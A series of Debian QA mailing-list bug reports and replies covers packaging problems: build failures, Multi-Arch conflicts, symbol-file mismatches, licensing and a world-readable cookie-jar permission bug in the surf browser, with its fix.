Source: libvigraimpex Version: 1.7.1+dfsg1-3 Severity: serious Justification: fails to build from source libvigraimpex FTBFS: | make[4]: *** No rule to make target `/usr/lib/libpython2.7.so', needed by `vigranumpy/src/core/vigranumpycore.so'. Stop. Apparently libpython2.7.so has been moved to /usr/lib/${DEB_HOST_MULTIARCH}/. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130605153844.ga5...@jwilk.net
Bug#707750: libreadline-gplv2-dev: arch-dependent file in Multi-Arch: same package
Package: libreadline-gplv2-dev Version: 5.2+dfsg-2 User: multiarch-de...@lists.alioth.debian.org Usertags: multiarch (This is similar #658850, but the scope is much narrower, thus severity is different.) libreadline-gplv2-dev is marked as Multi-Arch: same, but the following file is architecture-dependent: /usr/share/doc/libreadline5/examples/Makefile MD5 sums of the file in question: e33b87dd84e70cd693653c2b189d8938 s390 s390x c303c0dc61bd38a0da565bfb235e4795 elsewhere An example diff between i386 and s390 is attached. -- Jakub Wilk diff -ur libreadline-gplv2-dev_5.2+dfsg-2_i386/usr/share/doc/libreadline5/examples/Makefile libreadline-gplv2-dev_5.2+dfsg-2_s390/usr/share/doc/libreadline5/examples/Makefile --- libreadline-gplv2-dev_5.2+dfsg-2_i386/usr/share/doc/libreadline5/examples/Makefile 2013-04-27 18:57:22.0 +0200 +++ libreadline-gplv2-dev_5.2+dfsg-2_s390/usr/share/doc/libreadline5/examples/Makefile 2013-04-27 19:00:54.0 +0200 @@ -32,7 +32,7 @@ DEFS = -DHAVE_CONFIG_H CC = gcc CFLAGS = -g -O -LOCAL_CFLAGS = -DREADLINE_LIBRARY -DRL_LIBRARY_VERSION='$(RL_LIBRARY_VERSION)' +LOCAL_CFLAGS = -fsigned-char -DREADLINE_LIBRARY -DRL_LIBRARY_VERSION='$(RL_LIBRARY_VERSION)' CPPFLAGS = INCLUDES = -I$(srcdir) -I$(top_srcdir) -I..
Bug#658850: libreadline-gplv2-dev: Multi-Arch: same but examples/Makefile differs across architectures
* Andreas Beckmann a...@debian.org, 2013-04-27, 02:03: the problem is still (or again) reproducible in the latest version: Selecting previously unselected package libreadline-gplv2-dev:i386. Unpacking libreadline-gplv2-dev:i386 (from .../libreadline-gplv2-dev_5.2+dfsg-1_i386.deb) ... dpkg: error processing /var/cache/apt/archives/libreadline-gplv2-dev_5.2+dfsg-1_i386.deb (--unpack): trying to overwrite shared '/usr/share/doc/libreadline5/examples/Makefile', which is different from other instances of package libreadline-gplv2-dev:i386 Errors were encountered while processing: /var/cache/apt/archives/libreadline-gplv2-dev_5.2+dfsg-1_i386.deb A diff between i386 and amd64 is attached. -- Jakub Wilk diff -ur libreadline-gplv2-dev_5.2+dfsg-1_i386/usr/share/doc/libreadline5/examples/Makefile libreadline-gplv2-dev_5.2+dfsg-1_amd64/usr/share/doc/libreadline5/examples/Makefile --- libreadline-gplv2-dev_5.2+dfsg-1_i386/usr/share/doc/libreadline5/examples/Makefile 2012-12-31 04:41:51.0 +0100 +++ libreadline-gplv2-dev_5.2+dfsg-1_amd64/usr/share/doc/libreadline5/examples/Makefile 2012-12-31 00:42:59.0 +0100 @@ -21,8 +21,8 @@ SHELL = /bin/sh RM = rm -f -srcdir = /build/buildd-readline5_5.2+dfsg-1-i386-gU4xlf/readline5-5.2+dfsg/examples -VPATH = .:/build/buildd-readline5_5.2+dfsg-1-i386-gU4xlf/readline5-5.2+dfsg/examples +srcdir = /tmp/buildd/readline5-5.2+dfsg/examples +VPATH = .:/tmp/buildd/readline5-5.2+dfsg/examples top_srcdir = /usr/include/readline/+dfsg BUILD_DIR = .
Bug#702447: libvigraimpex: typo: choosen - chosen
Source: libvigraimpex Version: 1.7.1+dfsg1-3 Severity: minor Tags: patch Please see the attached patch. -- Jakub Wilk --- a/test/sampler/test.cxx +++ b/test/sampler/test.cxx @@ -387,7 +387,7 @@ /* when sampling k times without replacement the probability p of a sample not being picked is ((k-1)/k)^k -The distribution of the number of samples not being choosen is a +The distribution of the number of samples not being chosen is a binomial distribution with n = k and p = ((k-1)/k)^k. The expectation value of a binomial distribution is n*p == The percentage of samples not used is (n*p)/k = p --- a/include/vigra/numerictraits.hxx +++ b/include/vigra/numerictraits.hxx @@ -102,7 +102,7 @@ The return type of this function can not be 'unsigned char' because the summation would very likely overflow. Since we know the source type, we can easily choose 'int' as an appropriate return type. -Likewise, we would have choosen 'float' if we had to sum a +Likewise, we would have chosen 'float' if we had to sum a sequence of floats. If we want to make this algorithm generic, we would like to derive the appropriate return type automatically. This can be done with NumericTraits.
Bug#697402: bzr-gtk: causes crash in pydoc -k when python-gtk2 is also installed
* Samuel Bronson naes...@gmail.com, 2013-01-04, 16:20: from gi.repository import Gtk import _gtk The last line should read: from import _gtk This bug should be reassigned somewhere else, but I haven't decided where yet. Anyway, here are some ideas how to fix (or fix) it: 1) Make pydoc more robust. It could spawn a worker process, which would do all the nasty import job. If the worked process segfaulted, it wouldn't be a big deal, as a new one could be spawned. 2) Fix both python-gtk2 and python-gi, so that ImportError is thrown early if you try to load Gtk$n bindings and Gtk$((5-n)) are already in sys.modules. This should be easy to do on the python-gtk2 side, and probably way more tricky on the python-gi side. Also, this solves the problem only partially, because there are other Python extensions linked to libgtk2 or libgtk3. (Certainly too many too fix them all. :/) 3) Make libgtk2 and libgtk3 use symbol versioning. Probably not something that would be accepted for wheezy. :/ -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130124224804.ga6...@jwilk.net
Bug#697402: bzr-gtk: causes crash in pydoc -k when python-gtk2 is also installed
* Jakub Wilk jw...@debian.org, 2013-01-24, 23:48: from gi.repository import Gtk import _gtk The last line should read: from import _gtk Third time lucky: from gtk import _gtk -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130124231741.ga8...@jwilk.net
Bug#695790: readline5: includes non-free documentation (GFDL with unmodifiable sections)
Source: readline5 Version: 5.2-12 Severity: serious Justification: Policy 2.2.1 Usertags: gfdl Some files in doc/ have the following license: | Permission is granted to copy, distribute and/or modify this document | under the terms of the GNU Free Documentation License, Version 1.2 or | any later version published by the Free Software Foundation; with no | Invariant Sections, with the Front-Cover texts being ``A GNU Manual,'' | and with the Back-Cover Texts as in (a) below. A copy of the license is | included in the section entitled ``GNU Free Documentation License.'' | | (a) The FSF's Back-Cover Text is: ``You have freedom to copy and modify | this GNU Manual, like GNU software. Copies published by the Free | Software Foundation raise funds for GNU development.'' As per GR 2006-001, works licensed under GFDL with unmodifiable sections are not suitable for main: http://www.debian.org/vote/2006/vote_001 -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20121212175535.ga9...@jwilk.net
Bug#615080: closed by Boris Pek tehnic...@yandex.ru (Re: codelite mangles non-UTF-8 files)
* Debian Bug Tracking System ow...@bugs.debian.org, 2012-08-01, 11:09: As we can see by the link, upstream answered enough clean. Quotation: This is not a bug. but a user miss-configuration - Instead of opening this is a bug, you should have post it in the forum. By default codelite sets the code-page to ISO-8859-1 (Latin1) To fix this, the user should set the encoding (I suggest using UTF8): from the main menu: Settings - Global Editor Preferences - Misc - Encoding and Locale So this bug report can be closed. In my book, upstream didn't understand the bug second time in a row doesn't sound like a good reason to close it. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120801121518.ga5...@jwilk.net
Bug#544687: libpam-unix2: forks numerous instances of unix2_chkpwd
severity 544687 serious owner 544687 ! thanks * Christoph Pleger christoph.ple...@cs.tu-dortmund.de, 2012-05-24, 10:33: That is, unix2_chkpwd is called recursively again and again and the user cannot be authenticated. It seems that this only happens when a user wants to unlock the screen, not when logging in. Does it happen regardless of whether the entered password was correct or not? -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120527195359.ga2...@jwilk.net
Bug#674616: python-extractor: uninstallable: depends on obsolete libextractor1c2a
fixed 674616 1:0.6-2 thanks * Cyril Brulebois k...@debian.org, 2012-05-26, 02:04: due to the new libextractor (#672117), your package is no longer installable, since it has: | Depends: ${misc:Depends}, ${python:Depends}, libextractor1c2a This appears to be fixed in experimental. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120526115409.ga7...@jwilk.net
Bug#672210: songwrite doesn't start
* John O'Hagan johnmoha...@gmail.com, 2012-05-09, 16:41: Traceback (most recent call last): File /usr/bin/songwrite, line 134, in module import main File /usr/bin/../share/songwrite/main.py, line 21, in module import globdef, song, player, ui File /usr/bin/../share/songwrite/song.py, line 1352, in module END_TRACK = struct.pack(bbb, 0xFF, 0x2F, 0x00) struct.error: byte format requires -128 = number = 127 Right, it should be B (unsigned byte, 0..255) not b (signed byte, -128..+127). Python 2.6 tolerated overflows in struct.pack (with deprecation warnings), but Python 2.7 throws an exception instead. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120509140747.ga8...@jwilk.net
Bug#671901: python-libxslt1: does not byte-compile Python modules
Package: python-libxslt1 Version: 1.1.26-11 Severity: important User: debian-pyt...@lists.debian.org Usertags: no-byte-compile The last upload did this: - dh --with python2 $@ + dh $@ This is wrong and undocumented. As a consequence, Python modules are not byte-compiled anymore. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120507221704.ga2...@jwilk.net
Bug#671902: libxslt1-dev: Multi-Arch: same but xslt-config differs accross architectures
Package: libxslt1-dev Version: 1.1.26-11 User: multiarch-de...@lists.alioth.debian.org Usertags: multiarch libxslt1-dev is marked as Multi-Arch: same, but contents of /usr/bin/xslt-config is diffent on kfreebsd-* than on other architectures. Please see the attached diff. -- Jakub Wilk diff -urN a/libxslt1-dev_1.1.26-11_i386/usr/bin/xslt-config b/libxslt1-dev_1.1.26-11_kfreebsd-i386/usr/bin/xslt-config --- a/libxslt1-dev_1.1.26-11_i386/usr/bin/xslt-config 2012-05-07 04:02:22.0 +0200 +++ b/libxslt1-dev_1.1.26-11_kfreebsd-i386/usr/bin/xslt-config 2012-05-07 04:04:21.0 +0200 @@ -95,7 +95,7 @@ shift done -the_libs=-lxslt -lxml2 +the_libs=-lxslt -L/usr/lib -lxml2 if test $includedir != /usr/include; then the_flags=$the_flags -I$includedir `xml2-config --cflags` else
Bug#664612: wu-ftpd: FTBFS[kfreebsd]: error: 'struct dqblk64' has no member named 'dqb_fhardlimit'
found 664612 2.6.2-33 thanks * Dominic Hargreaves d...@earth.li, 2012-03-19, 12:57: Thanks. Unfortunately this package is orphaned, and although I did the QA upload to fix a (trivial) bug in the package, I'm not in a position to fix this ensuing bug (though I will do what I can to help). Just to be clear; the change I made was to add a Depends to the resultant binary package, and nothing which could have introduced this problem. Right, the previous version FTBFS, too. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120319150350.ga3...@jwilk.net
Bug#663989: snappea: needs tight dependency on python
Package: snappea Version: 3.0d3-20 Severity: serious Justification: Debian Policy 3.5, Python Policy 3.1.1 snappea includes a private Python extension module (/usr/lib/snappea/SnapPeaC.so). Such extensions are normally not binary compatible across different Python versions, so the package must declare tight dependency on the version for which the extensions was built. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120314160647.ga6...@jwilk.net
Bug#660137: turbogears2-doc: FTBFS: ImportError: No module named babel
Source: turbogears2-doc Version: 2.0+svn6611-2 Severity: serious Justification: fails to build from source turbogears2-doc FTBFS in a minimal chroot: | sphinx-build -b html -d _build/doctrees . _build/html | Running Sphinx v1.1.2 | | Exception occurred: | File /usr/lib/pymodules/python2.7/sphinx/cmdline.py, line 188, in main | warningiserror, tags) | File /usr/lib/pymodules/python2.7/sphinx/application.py, line 102, in __init__ | confoverrides or {}, self.tags) | File /usr/lib/pymodules/python2.7/sphinx/config.py, line 215, in __init__ | exec code in config | File /build/turbogears2-doc-CjGwmK/turbogears2-doc-2.0+svn6611/conf.py, line 15, in module | from tg.release import version as tg_release_version | File /usr/lib/pymodules/python2.7/tg/__init__.py, line 58, in module | from tg.controllers import TGController, redirect, url, lurl, abort | File /usr/lib/pymodules/python2.7/tg/controllers/__init__.py, line 1, in module | from dispatcher import ObjectDispatcher | File /usr/lib/pymodules/python2.7/tg/controllers/dispatcher.py, line 24, in module | from tg.i18n import setup_i18n | File /usr/lib/pymodules/python2.7/tg/i18n.py, line 5, in module | from babel import parse_locale | ImportError: No module named babel | The full traceback has been saved in /tmp/sphinx-err-ZIL5aj.log, if you want to report the issue to the developers. | Please also report this if it was a user error, so that a better error message can be provided next time. | Either send bugs to the mailing list at http://groups.google.com/group/sphinx-dev/, | or report them in the tracker at http://bitbucket.org/birkenfeld/sphinx/issues/. Thanks! | make[1]: *** [html] Error 1 Adding python-babel to Build-Depends should fix this problem. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120216191834.ga5...@jwilk.net
Bug#659296: Comments on the 0.4.1-6 upload
* Florian Weimer f...@deneb.enyo.de, 2012-02-13, 16:32: surf (0.4.1-6) unstable; urgency=high . * QA upload. * debian/patches: + Added fix-insecure-permissions.patch to fix world readable cookie jar vulnerability CVE-2012-0842. (Closes: #659296) - g_mkdir_with_parents(apath, 0755); + g_mkdir_with_parents(apath, 0700); I think you should also downgrade the permissions from 0755 if the directory exists (in case we want to keep the package alive, which I doubt). I'm not a fan of software changing permissions of existing files (after all it might be user who decided to make them more liberal that usual). As the sponsor of this upload I didn't insist on chmod'ing automatically; instead we limited ourselves to add a NEWS note asking to change permissions manually. That said, following the upstream changes, the next version _will_ fix existing permissions. [Addendum: It is sufficient to do this with just one component of the path.] If we decided to revoke existing permissions, then we should not confine ourselves to the directory, but also chmod the files. This is because an attacker could have made hardlinks to the files when they were still accessible. However, even chmod'ing files won't help if the attacker is keeping (one of) them open. You'd have to truncate the files and unlink them. Implementing this would be probably overkill, though. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120213164421.ga5...@jwilk.net
Bug#659296: surf: world-readable cookie jar
* Jakub Wilk jw...@debian.org, 2012-02-10, 00:05: $ ls -ld ~/.surf/{,cookies.txt} drwxr-xr-x 2 user users 4096 Feb 9 22:59 /home/user/.surf/ -rw-r--r-- 1 user users 406 Feb 9 22:59 /home/user/.surf/cookies.txt CVE-2012-0842 was assigned to this bug. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120210154603.ga1...@jwilk.net
Bug#659296: surf: world-readable cookie jar
Package: surf Version: 0.4.1-4.1 Severity: grave Tags: security Justification: user security hole $ ls -ld ~/.surf/{,cookies.txt} drwxr-xr-x 2 user users 4096 Feb 9 22:59 /home/user/.surf/ -rw-r--r-- 1 user users 406 Feb 9 22:59 /home/user/.surf/cookies.txt This allows local users to steal cookies. -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 3.2.0-1-amd64 (SMP w/2 CPU cores) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/dash Versions of packages surf depends on: ii libatk1.0-0 2.2.0-2 ii libc6 2.13-26 ii libcairo2 1.10.2-6.2 ii libfontconfig1 2.8.0-3.1 ii libfreetype62.4.8-1 ii libgdk-pixbuf2.0-0 2.24.0-2 ii libglib2.0-02.30.2-6 ii libgtk2.0-0 2.24.8-3 ii libpango1.0-0 1.29.4-2 ii libsoup2.4-12.34.3-1 ii libwebkitgtk-1.0-0 1.6.1-5+b1 ii libx11-62:1.4.4-4 ii suckless-tools 38-1 ii wget1.13.4-2 ii x11-utils 7.6+4 ii xterm 276-2 -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20120209230541.ga1...@jwilk.net
Bug#652490: blackbox: FTBFS on alpha and sparc64: some symbols or patterns disappeared in the symbols file: see diff output below
| + _ZSt11__push_heapIN9__gnu_cxx17__normal_iteratorIPPN2bt5TimerESt6vectorIS4_SaIS4_lS4_NS2_13TimerLessThanEEvT_T0_SC_T1_T2_@Base 0.70.1 | +#MISSING: 0.70.1-6# (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZSt13__adjust_heapIN9__gnu_cxx17__normal_iteratorIPPN2bt5TimerESt6vectorIS4_SaIS4_iS4_NS2_13TimerLessThanEEvT_T0_SC_T1_T2_@Base 0.70.1 | + _ZSt13__adjust_heapIN9__gnu_cxx17__normal_iteratorIPPN2bt5TimerESt6vectorIS4_SaIS4_lS4_NS2_13TimerLessThanEEvT_T0_SC_T1_T2_@Base 0.70.1 | _ZSt6__findIN9__gnu_cxx17__normal_iteratorIPKcSsEEcET_S5_S5_RKT0_St26random_access_iterator_tag@Base 0.70.1 | _ZSt6__findIN9__gnu_cxx17__normal_iteratorIPPN2bt5TimerESt6vectorIS4_SaIS4_S4_ET_SA_SA_RKT0_St26random_access_iterator_tag@Base 0.70.1 | _ZSt6__findISt13_Bit_iteratorbET_S1_S1_RKT0_St26random_access_iterator_tag@Base 0.70.1 | dh_makeshlibs: dpkg-gensymbols -plibbt0 -Idebian/libbt0.symbols -Pdebian/libbt0 returned exit code 1 | make: *** [binary-arch] Error 1 Full build logs: http://buildd.debian-ports.org/status/fetch.php?pkg=blackboxarch=alphaver=0.70.1-6stamp=1323805375 http://buildd.debian-ports.org/status/fetch.php?pkg=blackboxarch=sparc64ver=0.70.1-6stamp=1324032630 -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20111217183433.ga3...@jwilk.net
Bug#651522: blackbox: FTBFS on s390: some symbols or patterns disappeared
=amd64 ia64 kfreebsd-amd64 s390x)_ZNSt5dequeIPN2bt4MenuESaIS2_EE17_M_reallocate_mapEmb@Base 0.70.1 | +#MISSING: 0.70.1-5# (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt5dequeIPN2bt4MenuESaIS2_EE17_M_reallocate_mapEjb@Base 0.70.1 | + _ZNSt5dequeIPN2bt4MenuESaIS2_EE17_M_reallocate_mapEmb@Base 0.70.1 | _ZNSt5dequeIPN2bt4MenuESaIS2_EED1Ev@Base 0.70.1 | _ZNSt5dequeIPN2bt4MenuESaIS2_EED2Ev@Base 0.70.1 | - (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorIPN2bt11XColorTableESaIS2_EE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPS2_S4_EEjRKS2_@Base 0.70.1 | - (arch=amd64 ia64 kfreebsd-amd64 s390x)_ZNSt6vectorIPN2bt11XColorTableESaIS2_EE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPS2_S4_EEmRKS2_@Base 0.70.1 | +#MISSING: 0.70.1-5# (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorIPN2bt11XColorTableESaIS2_EE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPS2_S4_EEjRKS2_@Base 0.70.1 | + _ZNSt6vectorIPN2bt11XColorTableESaIS2_EE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPS2_S4_EEmRKS2_@Base 0.70.1 | _ZNSt6vectorIPN2bt11XColorTableESaIS2_EED1Ev@Base 0.70.1 | _ZNSt6vectorIPN2bt11XColorTableESaIS2_EED2Ev@Base 0.70.1 | _ZNSt6vectorIPN2bt5TimerESaIS2_EE13_M_insert_auxEN9__gnu_cxx17__normal_iteratorIPS2_S4_EERKS2_@Base 0.70.1 | @@ -417,15 +417,15 @@ | _ZNSt6vectorISbIjSt11char_traitsIjESaIjEESaIS3_EE13_M_insert_auxEN9__gnu_cxx17__normal_iteratorIPS3_S5_EERKS3_@Base 0.70.1 | _ZNSt6vectorISsSaISsEED1Ev@Base 0.70.1 | _ZNSt6vectorISsSaISsEED2Ev@Base 0.70.1 | - (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorIbSaIbEE14_M_fill_insertESt13_Bit_iteratorjb@Base 0.70.1 | - (arch=amd64 ia64 kfreebsd-amd64 s390x)_ZNSt6vectorIbSaIbEE14_M_fill_insertESt13_Bit_iteratormb@Base 0.70.1 | +#MISSING: 0.70.1-5# (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorIbSaIbEE14_M_fill_insertESt13_Bit_iteratorjb@Base 0.70.1 | + _ZNSt6vectorIbSaIbEE14_M_fill_insertESt13_Bit_iteratormb@Base 0.70.1 | _ZNSt6vectorIhSaIhEED1Ev@Base 0.70.1 | _ZNSt6vectorIhSaIhEED2Ev@Base 0.70.1 | _ZNSt6vectorImSaImEE13_M_assign_auxIPmEEvT_S4_St20forward_iterator_tag@Base 0.70.1 | - (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorImSaImEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPmS1_EEjRKm@Base 0.70.1 | - (arch=amd64 ia64 kfreebsd-amd64 s390x)_ZNSt6vectorImSaImEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPmS1_EEmRKm@Base 0.70.1 | - (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorImSaImEE7reserveEj@Base 0.70.1 | - (arch=amd64 ia64 kfreebsd-amd64 s390x)_ZNSt6vectorImSaImEE7reserveEm@Base 0.70.1 | +#MISSING: 0.70.1-5# (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorImSaImEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPmS1_EEjRKm@Base 0.70.1 | + _ZNSt6vectorImSaImEE14_M_fill_insertEN9__gnu_cxx17__normal_iteratorIPmS1_EEmRKm@Base 0.70.1 | +#MISSING: 0.70.1-5# (arch=!amd64 !ia64 !kfreebsd-amd64 !s390x)_ZNSt6vectorImSaImEE7reserveEj@Base 0.70.1 | + _ZNSt6vectorImSaImEE7reserveEm@Base 0.70.1 | _ZNSt8_Rb_treeIN2bt10ColorCache3RGBESt4pairIKS2_NS1_8PixelRefEESt10_Select1stIS6_ESt4lessIS2_ESaIS6_EE10_M_insert_EPKSt18_Rb_tree_node_baseSF_RKS6_@Base 0.70.1 | _ZNSt8_Rb_treeIN2bt10ColorCache3RGBESt4pairIKS2_NS1_8PixelRefEESt10_Select1stIS6_ESt4lessIS2_ESaIS6_EE16_M_insert_uniqueERKS6_@Base 0.70.1 | _ZNSt8_Rb_treeIN2bt10ColorCache3RGBESt4pairIKS2_NS1_8PixelRefEESt10_Select1stIS6_ESt4lessIS2_ESaIS6_EE8_M_eraseEPSt13_Rb_tree_nodeIS6_E@Base 0.70.1 | dh_makeshlibs: dpkg-gensymbols -plibbt0 -Idebian/libbt0.symbols -Pdebian/libbt0 returned exit code 1 | make: *** [binary-arch] Error 1 Full build log: https://buildd.debian.org/status/fetch.php?pkg=blackboxarch=s390ver=0.70.1-5stamp=1323405479 -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20111209131553.ga4...@jwilk.net
Bug#650511: libbt0: undeclared Conflicts/Replaces with libbt
Package: libbt0 Version: 0.70.1-4 Severity: serious Justification: Policy 7.6.1 # apt-get install -qq libbt debconf: delaying package configuration, since apt-utils is not installed Selecting previously unselected package libxext6. (Reading database ... 12618 files and directories currently installed.) Unpacking libxext6 (from .../libxext6_2%3a1.3.0-3_amd64.deb) ... Selecting previously unselected package libbt0. Unpacking libbt0 (from .../libbt0_0.70.1-4_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libbt0_0.70.1-4_amd64.deb (--unpack): trying to overwrite '/usr/lib/libbt.so.0.0.0', which is also in package libbt 0.70.1-3 configured to not write apport reports dpkg-deb: error: subprocess paste was killed by signal (Broken pipe) Preparing to replace libbt 0.70.1-3 (using .../libbt_0.70.1-4_all.deb) ... Unpacking replacement libbt ... Errors were encountered while processing: /var/cache/apt/archives/libbt0_0.70.1-4_amd64.deb E: Sub-process /usr/bin/dpkg returned an error code (1) -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/2030113628.ga7...@jwilk.net
Bug#649905: blackbox: FTBFS: libbt0.symbols 64-bit specific
* Aaron M. Ucko u...@debian.org, 2011-11-24, 13:00: Per https://buildd.debian.org/status/package.php?p=blackbox, builds of blackbox on 32-bit architectures have been failing because libbt0.symbols only matches libbt.so.0's actual symbols on 64-bit architectures (amd64, ia64, and kfreebsd-amd64). May I ask you what was the point on introducing symbol files in the first place? -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/2029154529.ga3...@jwilk.net
Bug#650411: blackbox: binary-indep doesn't build libbt
Package: blackbox Version: 0.70.1-4 Severity: serious Justification: Policy 4.9 The binary-indep target doesn't build the libbt package. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/2029160913.ga8...@jwilk.net
Bug#648720: libbeecrypt7: please drop conflict with libbeecrypt6
Package: libbeecrypt7 Version: 4.2.1-4 Severity: normal Different versions of the shared library should be normally co-installable, which means they should not conflict with each other. I see no reason for libbeecrypt7 to conflict with libbeecrypt6. Please drop libbeecrypt6 from Conflicts. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/2014130218.ga2...@jwilk.net
Bug#638614: openmsx: FTBFS on ia64 (internal compiler error)
* Julien Cristau jcris...@debian.org, 2011-08-20, 11:12: openmsx FTBFS on ia64 due to a gcc-4.6 ICE: https://buildd.debian.org/status/fetch.php?pkg=openmsxarch=ia64ver=0.8.1-3stamp=1313787576 Compiling video/v9990/V9990.cc... src/video/v9990/V9990.cc: In member function 'void openmsx::V9990::setHorizontalTiming()': src/video/v9990/V9990.cc:734:1: internal compiler error: Segmentation fault Please submit a full bug report, with preprocessed source if appropriate. See file:///usr/share/doc/gcc-4.6/README.Bugs for instructions. make[1]: *** [derived/ia64-linux-opt/obj/video/v9990/V9990.o] Error 1 Somebody needs to follow the above instructions and file a gcc bug. I reproduced the bug on merulo. I'll file a bug against gcc-4.6 in a moment. In the mean time, reducing optimization level from -O3 to -O2 can be used to work around the compiler bug. -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/2003193306.ga6...@jwilk.net
Bug#646964: libvisual-0.4-0: broken translations
Package: libvisual-0.4-0 Version: 0.4.0-4 Severity: important Something very bad happened to translations (or at least .mo filenames) in the last upload: $ dpkg -c libvisual-0.4-0_0.4.0-3_i386.deb | grep -F .mo -rw-r--r-- root/root 5958 2010-05-02 15:36 ./usr/share/locale/es_ES/LC_MESSAGES/libvisual-0.4.mo -rw-r--r-- root/root 5958 2010-05-02 15:36 ./usr/share/locale/es_AR/LC_MESSAGES/libvisual-0.4.mo $ dpkg -c libvisual-0.4-0_0.4.0-4_i386.deb | grep -F .mo -rw-r--r-- root/root 5894 2011-10-26 04:04 ./usr/share/locale/es_AR/LC_MESSAGES/.mo -rw-r--r-- root/root 5894 2011-10-26 04:04 ./usr/share/locale/es_ES/LC_MESSAGES/.mo -- Jakub Wilk -- To UNSUBSCRIBE, email to debian-qa-packages-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20111028183515.ga3...@jwilk.net
Bug#644013: snowdrop: should not break UTF-8
